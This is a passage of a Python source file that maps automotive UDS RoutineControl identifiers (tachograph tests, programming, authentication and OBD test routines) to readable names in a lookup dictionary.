\"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0121] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0122] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0123] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0124] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0125] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0126] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0127] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0128] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0129] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x012a] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x012b] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x012c] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x012d] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x012e] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x012f] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0130] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0131] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0132] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0133] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0134] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0135] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0136] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0137] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0138] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0139] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x013a] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x013b] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x013c] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x013d] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x013e] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x013f] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0140] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0141] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0142] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0143] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0144] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0145] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0146] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0147] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0148] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0149] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x014a] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x014b] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x014c] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x014d] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x014e] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x014f] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0150] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0151] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0152] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0153] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0154] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0155] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0156] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0157] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0158] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0159] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x015a] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x015b] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x015c] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x015d] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x015e] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x015f] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0160] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0161] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0162] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0163] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0164] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0165] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0166] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0167] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0168] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0169] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x016a] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x016b] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x016c] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x016d] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x016e] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x016f] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0170] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0171] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0172] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0173] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0174] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0175] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0176] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0177] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0178] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0179] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x017a] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x017b] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x017c] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x017d] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x017e] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x017f] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0180] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0181] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0182] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0183] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0184] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0185] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0186] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0187] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0188] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0189] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x018a] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x018b] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x018c] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x018d] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x018e] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x018f] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0190] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0191] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0192] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0193] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0194] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0195] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0196] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0197] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0198] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0199] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x019a] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x019b] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x019c] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x019d] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x019e] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x019f] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01a0] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01a1] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01a2] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01a3] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01a4] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01a5] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01a6] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01a7] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01a8] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01a9] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01aa] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01ab] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01ac] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01ad] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01ae] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01af] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01b0] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01b1] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01b2] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01b3] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01b4] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01b5] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01b6] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01b7] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01b8] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01b9] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01ba] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01bb] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01bc] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01bd] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01be] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01bf] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01c0] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01c1] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01c2] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01c3] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01c4] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01c5] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01c6] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01c7] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01c8] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01c9] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01ca] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01cb] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01cc] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01cd] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01ce] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01cf] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01d0] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01d1] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01d2] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01d3] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01d4] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01d5] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01d6] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01d7] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01d8] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01d9] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01da] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01db] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01dc] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01dd] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01de] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01df] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01e0] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01e1] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01e2] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01e3] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01e4] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01e5] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01e6] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01e7] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01e8] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01e9] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01ea] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01eb] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01ec] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01ed] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01ee] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01ef] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01f0] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01f1] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01f2] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01f3] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01f4] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01f5] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01f6] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01f7] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01f8] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01f9] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01fa] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01fb] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01fc] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01fd] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01fe] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x01ff] = \"tachographTestIds_0100_01FF\"\nUDS_RC.routineControlIdentifiers[0x0200] = \"VCM_SVT\"\nUDS_RC.routineControlIdentifiers[0x0202] = \"checkMemory\"\nUDS_RC.routineControlIdentifiers[0x0203] = \"checkProgrammingPreCondition\"\nUDS_RC.routineControlIdentifiers[0x0204] = \"readSWEProgrammingStatus\"\nUDS_RC.routineControlIdentifiers[0x0205] = \"readSWEDevelopmentInfo\"\nUDS_RC.routineControlIdentifiers[0x0206] = \"checkProgrammingPower\"\nUDS_RC.routineControlIdentifiers[0x0207] = \"VCM_Generiere_SVT\"\nUDS_RC.routineControlIdentifiers[0x020b] = \"Steuergeraetetausch\"\nUDS_RC.routineControlIdentifiers[0x020c] = \"KeyExchange\"\nUDS_RC.routineControlIdentifiers[0x020d] = \"FingerprintExchange\"\nUDS_RC.routineControlIdentifiers[0x020e] = \"InternalAuthentication\"\nUDS_RC.routineControlIdentifiers[0x020f] = \"CyclicSignatureCheck\"\nUDS_RC.routineControlIdentifiers[0x0210] = \"TeleServiceLogin\"\nUDS_RC.routineControlIdentifiers[0x0211] = \"ExternalAuthentication\"\nUDS_RC.routineControlIdentifiers[0x0212] = \"StoreTransportKeyList\"\nUDS_RC.routineControlIdentifiers[0x0213] = \"InitSignalKeyDeployment\"\nUDS_RC.routineControlIdentifiers[0x0214] = \"N10GetState\"\nUDS_RC.routineControlIdentifiers[0x0215] = \"GetParameterN11\"\nUDS_RC.routineControlIdentifiers[0x0220] = \"RequestDeleteSwPackage\"\nUDS_RC.routineControlIdentifiers[0x0230] = \"ResetState\"\nUDS_RC.routineControlIdentifiers[0x0231] = \"GetState\"\nUDS_RC.routineControlIdentifiers[0x0232] = \"ResetStateFsCSM\"\nUDS_RC.routineControlIdentifiers[0x0233] = \"GetParameterN11\"\nUDS_RC.routineControlIdentifiers[0x0234] = \"ExternerInit\"\nUDS_RC.routineControlIdentifiers[0x02a5] = \"RequestListEntry\"\nUDS_RC.routineControlIdentifiers[0x0303] = \"DiagLoopbackStart\"\nUDS_RC.routineControlIdentifiers[0x0304] = \"DTC\"\nUDS_RC.routineControlIdentifiers[0x0305] = \"STEUERN_DM_FSS_MASTER\"\nUDS_RC.routineControlIdentifiers[0x0f01] = \"codingChecksum\"\nUDS_RC.routineControlIdentifiers[0x0f02] = \"clearMemory\"\nUDS_RC.routineControlIdentifiers[0x0f04] = \"selfTest\"\nUDS_RC.routineControlIdentifiers[0x0f05] = \"powerDown\"\nUDS_RC.routineControlIdentifiers[0x0f06] = \"clearDTCSecondaryMemory\"\nUDS_RC.routineControlIdentifiers[0x0f07] = \"requestForAuthentication\"\nUDS_RC.routineControlIdentifiers[0x0f08] = \"releaseAuthentication\"\nUDS_RC.routineControlIdentifiers[0x0f09] = \"checkSignature\"\nUDS_RC.routineControlIdentifiers[0x0f0a] = \"checkProgrammingStatus\"\nUDS_RC.routineControlIdentifiers[0x0f0b] = \"ExecuteDiagnosticService\"\nUDS_RC.routineControlIdentifiers[0x0f0c] = \"SetEnergyMode\"  # or controlEnergySavingMode  # noqa E501\nUDS_RC.routineControlIdentifiers[0x0f0d] = \"resetSystemFaultMessage\"\nUDS_RC.routineControlIdentifiers[0x0f0e] = \"timeControlledPowerDown\"\nUDS_RC.routineControlIdentifiers[0x0f0f] = \"disableCommunicationOverGateway\"\nUDS_RC.routineControlIdentifiers[0x0f1f] = \"SwtRoutine\"\nUDS_RC.routineControlIdentifiers[0x1002] = \"Individualdatenrettung\"\nUDS_RC.routineControlIdentifiers[0x1003] = \"SetExtendedMode\"\nUDS_RC.routineControlIdentifiers[0x1007] = \"MasterVIN\"\nUDS_RC.routineControlIdentifiers[0x100d] = \"ActivateCodingMode\"\nUDS_RC.routineControlIdentifiers[0x100e] = \"ActivateProgrammingMode\"\nUDS_RC.routineControlIdentifiers[0x100f] = \"ActivateApplicationMode\"\nUDS_RC.routineControlIdentifiers[0x1010] = \"SetDefaultBus\"\nUDS_RC.routineControlIdentifiers[0x1011] = \"GetActualConfig\"\nUDS_RC.routineControlIdentifiers[0x1013] = \"RequestListEntryGWTB\"\nUDS_RC.routineControlIdentifiers[0x1021] = \"requestPreferredProtcol\"\nUDS_RC.routineControlIdentifiers[0x1022] = \"checkConnection\"\nUDS_RC.routineControlIdentifiers[0x1024] = \"ResetActivationlineLogical\"\nUDS_RC.routineControlIdentifiers[0x1042] = \"EthernetARLTable\"\nUDS_RC.routineControlIdentifiers[0x1045] = \"EthernetIPConfiguration\"\nUDS_RC.routineControlIdentifiers[0x104e] = \"EthernetARLTableExtended\"\nUDS_RC.routineControlIdentifiers[0x4000] = \"Diagnosemaster\"\nUDS_RC.routineControlIdentifiers[0x4001] = \"SetGWRouting\"\nUDS_RC.routineControlIdentifiers[0x4002] = \"HDDDownload\"\nUDS_RC.routineControlIdentifiers[0x4004] = \"KeepBussesAlive\"\nUDS_RC.routineControlIdentifiers[0x4007] = \"updateMode\"\nUDS_RC.routineControlIdentifiers[0x4008] = \"httpUpdate\"\nUDS_RC.routineControlIdentifiers[0x7000] = \"ProcessingApplicationData\"\nUDS_RC.routineControlIdentifiers[0xa07c] = \"RequestDeactivateHddSafeMode\"\nUDS_RC.routineControlIdentifiers[0xa0b2] = \"RequestSteuernApixReinitMode\"\nUDS_RC.routineControlIdentifiers[0xab8f] = \"setEngineAngle\"\nUDS_RC.routineControlIdentifiers[0xe000] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe001] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe002] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe003] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe004] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe005] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe006] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe007] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe008] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe009] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe00a] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe00b] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe00c] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe00d] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe00e] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe00f] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe010] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe011] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe012] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe013] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe014] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe015] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe016] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe017] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe018] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe019] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe01a] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe01b] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe01c] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe01d] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe01e] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe01f] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe020] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe021] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe022] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe023] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe024] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe025] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe026] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe027] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe028] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe029] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe02a] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe02b] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe02c] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe02d] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe02e] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe02f] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe030] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe031] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe032] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe033] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe034] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe035] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe036] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe037] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe038] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe039] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe03a] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe03b] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe03c] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe03d] = \"OBDTestIDs\"\nUDS_RC.routineControlIdentifiers[0xe03e] 